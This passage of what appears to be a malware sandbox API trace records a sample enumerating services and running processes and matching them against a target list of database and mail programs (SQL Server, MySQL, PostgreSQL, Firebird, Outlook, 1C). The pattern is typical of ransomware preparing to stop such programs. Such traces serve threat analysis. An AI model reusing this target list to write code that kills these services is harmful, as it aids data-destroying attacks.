(lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0070.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0070.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0070.419] lstrlenW (lpString="WPDBusEnum") returned 10 [0070.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0070.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0070.419] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0070.419] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0070.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0070.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604f28 | out: hHeap=0x5b0000) returned 1 [0070.419] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x114 [0070.822] Process32FirstW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.823] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.824] lstrlenW (lpString="System") returned 6 [0070.824] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0070.825] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0070.825] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0070.825] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0070.825] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0070.825] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0070.825] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0070.825] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.826] lstrlenW (lpString="smss.exe") returned 8 [0070.826] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0070.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0070.826] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0070.826] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0070.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0070.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0070.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0070.827] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.827] lstrlenW (lpString="csrss.exe") returned 9 [0070.827] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0070.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0070.828] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0070.828] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0070.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0070.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0070.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0070.828] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.829] lstrlenW (lpString="wininit.exe") returned 11 [0070.829] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0070.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0070.829] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0070.829] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0070.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0070.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0070.829] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0070.829] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.830] lstrlenW (lpString="csrss.exe") returned 9 [0070.830] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0070.830] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0070.830] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0070.830] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0070.830] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0070.831] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0070.831] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.832] lstrlenW (lpString="winlogon.exe") returned 12 [0070.832] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.833] lstrlenW (lpString="services.exe") returned 12 [0070.833] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.834] lstrlenW (lpString="lsass.exe") returned 9 [0070.834] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0070.835] lstrlenW (lpString="lsm.exe") returned 7 [0070.835] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.836] lstrlenW (lpString="svchost.exe") returned 11 [0070.836] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.836] lstrlenW (lpString="svchost.exe") returned 11 [0070.836] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.837] lstrlenW (lpString="svchost.exe") returned 11 [0070.837] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.838] lstrlenW (lpString="svchost.exe") returned 11 [0070.838] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.839] lstrlenW (lpString="svchost.exe") returned 11 [0070.839] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.840] lstrlenW (lpString="audiodg.exe") returned 11 [0070.840] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.841] lstrlenW (lpString="svchost.exe") returned 11 [0070.841] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.842] lstrlenW (lpString="svchost.exe") returned 11 [0070.842] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.843] lstrlenW (lpString="dwm.exe") returned 7 [0070.843] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.844] lstrlenW (lpString="explorer.exe") returned 12 [0070.844] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.845] lstrlenW (lpString="spoolsv.exe") returned 11 [0070.845] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.846] lstrlenW (lpString="svchost.exe") returned 11 [0070.846] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.851] lstrlenW (lpString="taskhost.exe") returned 12 [0070.851] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.852] lstrlenW (lpString="taskeng.exe") returned 11 [0070.852] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0070.853] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0070.853] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0070.854] lstrlenW (lpString="while damaged.exe") returned 17 [0070.854] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0070.855] lstrlenW (lpString="hosted_thee.exe") returned 15 [0070.855] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0070.856] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0070.856] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0070.857] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0070.857] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0070.857] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0070.858] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0070.858] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0070.858] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0070.859] lstrlenW (lpString="l_greene_go.exe") returned 15 [0070.859] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0070.860] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0070.860] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0070.861] lstrlenW (lpString="spots wm.exe") returned 12 [0070.861] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0070.862] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0070.862] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0070.887] lstrlenW (lpString="lp imagination.exe") returned 18 [0070.887] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0071.410] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0071.410] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0071.411] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0071.411] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0071.412] lstrlenW (lpString="voluntary teach.exe") returned 19 [0071.412] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0071.413] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0071.413] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0071.414] lstrlenW (lpString="jesse.exe") returned 9 [0071.414] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0071.415] lstrlenW (lpString="partners_format.exe") returned 19 [0071.415] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0071.416] lstrlenW (lpString="predict.exe") returned 11 [0071.416] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0071.417] lstrlenW (lpString="supervisor.exe") returned 14 [0071.417] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0071.418] lstrlenW (lpString="3dftp.exe") returned 9 [0071.418] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0071.419] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0071.419] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0071.420] lstrlenW (lpString="alftp.exe") returned 9 [0071.420] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0071.421] lstrlenW (lpString="barca.exe") returned 9 [0071.421] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0071.422] lstrlenW (lpString="bitkinex.exe") returned 12 [0071.422] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0071.422] lstrlenW (lpString="coreftp.exe") returned 11 [0071.423] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0071.423] lstrlenW (lpString="far.exe") returned 7 [0071.424] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0071.456] lstrlenW (lpString="filezilla.exe") returned 13 [0071.456] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0071.457] lstrlenW (lpString="flashfxp.exe") returned 12 [0071.457] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0071.458] lstrlenW (lpString="fling.exe") returned 9 [0071.458] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0071.459] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0071.459] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0071.461] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0071.461] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0071.462] lstrlenW (lpString="icq.exe") returned 7 [0071.462] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0071.463] lstrlenW (lpString="leechftp.exe") returned 12 [0071.463] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0071.465] lstrlenW (lpString="ncftp.exe") returned 9 [0071.465] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0071.467] lstrlenW (lpString="notepad.exe") returned 11 [0071.467] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0071.469] lstrlenW (lpString="operamail.exe") returned 13 [0071.469] Process32NextW (in: hSnapshot=0x114, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0071.471] lstrlenW (lpString="pidgin.exe") 